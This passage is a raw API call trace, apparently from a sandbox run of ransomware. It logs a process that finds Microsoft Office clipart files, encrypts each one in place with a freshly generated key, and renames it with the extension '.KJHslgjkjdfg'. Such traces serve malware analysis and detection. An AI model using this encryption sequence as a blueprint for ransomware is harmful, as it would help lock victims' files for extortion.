(hObject=0x114) returned 1 [0160.374] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf47e00, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cf47e00, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1 [0160.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.375] GetProcessHeap () returned 0x2a0000 [0160.375] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.375] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.375] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.375] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.375] GetProcessHeap () returned 0x2a0000 [0160.375] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.375] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.375] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.375] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.377] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.378] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.378] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.378] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.378] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.378] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.378] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.378] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.378] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xfc0, lpOverlapped=0x0) returned 1 [0160.378] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfc0) returned 1 [0160.378] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.379] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xfc0, lpOverlapped=0x0) returned 1 [0160.379] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.379] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.379] SetEndOfFile (hFile=0x114) returned 1 [0160.381] GetProcessHeap () returned 0x2a0000 [0160.381] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.381] GetProcessHeap () returned 0x2a0000 [0160.381] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.382] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.kjhslgjkjdfg")) returned 1 [0160.383] CloseHandle (hObject=0x114) returned 1 [0160.383] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c816800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c816800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1 [0160.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.385] GetProcessHeap () returned 0x2a0000 [0160.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.386] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.386] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0160.388] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.388] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.388] GetProcessHeap () returned 0x2a0000 [0160.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.388] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.388] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.388] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.389] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.389] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.389] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.389] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.389] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.389] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.389] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.389] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.389] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10f4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x10f4, lpOverlapped=0x0) returned 1 [0160.390] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1100, dwBufLen=0x1100 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1100) returned 1 [0160.390] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.390] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1100, lpOverlapped=0x0) returned 1 [0160.391] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.391] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x11d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.391] SetEndOfFile (hFile=0x114) returned 1 [0160.393] GetProcessHeap () returned 0x2a0000 [0160.393] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.394] GetProcessHeap () returned 0x2a0000 [0160.394] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.394] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.kjhslgjkjdfg")) returned 1 [0160.395] CloseHandle (hObject=0x114) returned 1 [0160.395] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159db100, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x159db100, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1 [0160.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.396] GetProcessHeap () returned 0x2a0000 [0160.396] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.396] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.396] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.396] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.399] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.399] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.399] GetProcessHeap () returned 0x2a0000 [0160.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.399] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.399] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.399] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.399] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.399] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.399] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.400] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.400] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.400] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.400] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.400] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.400] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1bac, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1bac, lpOverlapped=0x0) returned 1 [0160.418] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bb0, dwBufLen=0x1bb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bb0) returned 1 [0160.418] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.418] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1bb0, lpOverlapped=0x0) returned 1 [0160.419] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.419] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.419] SetEndOfFile (hFile=0x114) returned 1 [0160.421] GetProcessHeap () returned 0x2a0000 [0160.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.421] GetProcessHeap () returned 0x2a0000 [0160.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.422] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.kjhslgjkjdfg")) returned 1 [0160.424] CloseHandle (hObject=0x114) returned 1 [0160.424] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b503b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b503b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1 [0160.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.425] GetProcessHeap () returned 0x2a0000 [0160.425] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.425] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.425] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.425] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0160.427] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.427] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.427] GetProcessHeap () returned 0x2a0000 [0160.427] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.428] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.428] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.428] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.428] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.428] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.428] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.428] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.428] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.428] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.428] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.428] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.428] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1bba, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1bba, lpOverlapped=0x0) returned 1 [0160.430] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bc0, dwBufLen=0x1bc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bc0) returned 1 [0160.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.430] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1bc0, lpOverlapped=0x0) returned 1 [0160.430] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.430] SetEndOfFile (hFile=0x114) returned 1 [0160.433] GetProcessHeap () returned 0x2a0000 [0160.433] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.433] GetProcessHeap () returned 0x2a0000 [0160.433] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.kjhslgjkjdfg")) returned 1 [0160.434] CloseHandle (hObject=0x114) returned 1 [0160.434] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7507bb00, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7507bb00, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1 [0160.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.436] GetProcessHeap () returned 0x2a0000 [0160.436] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.436] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.436] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.436] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.436] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 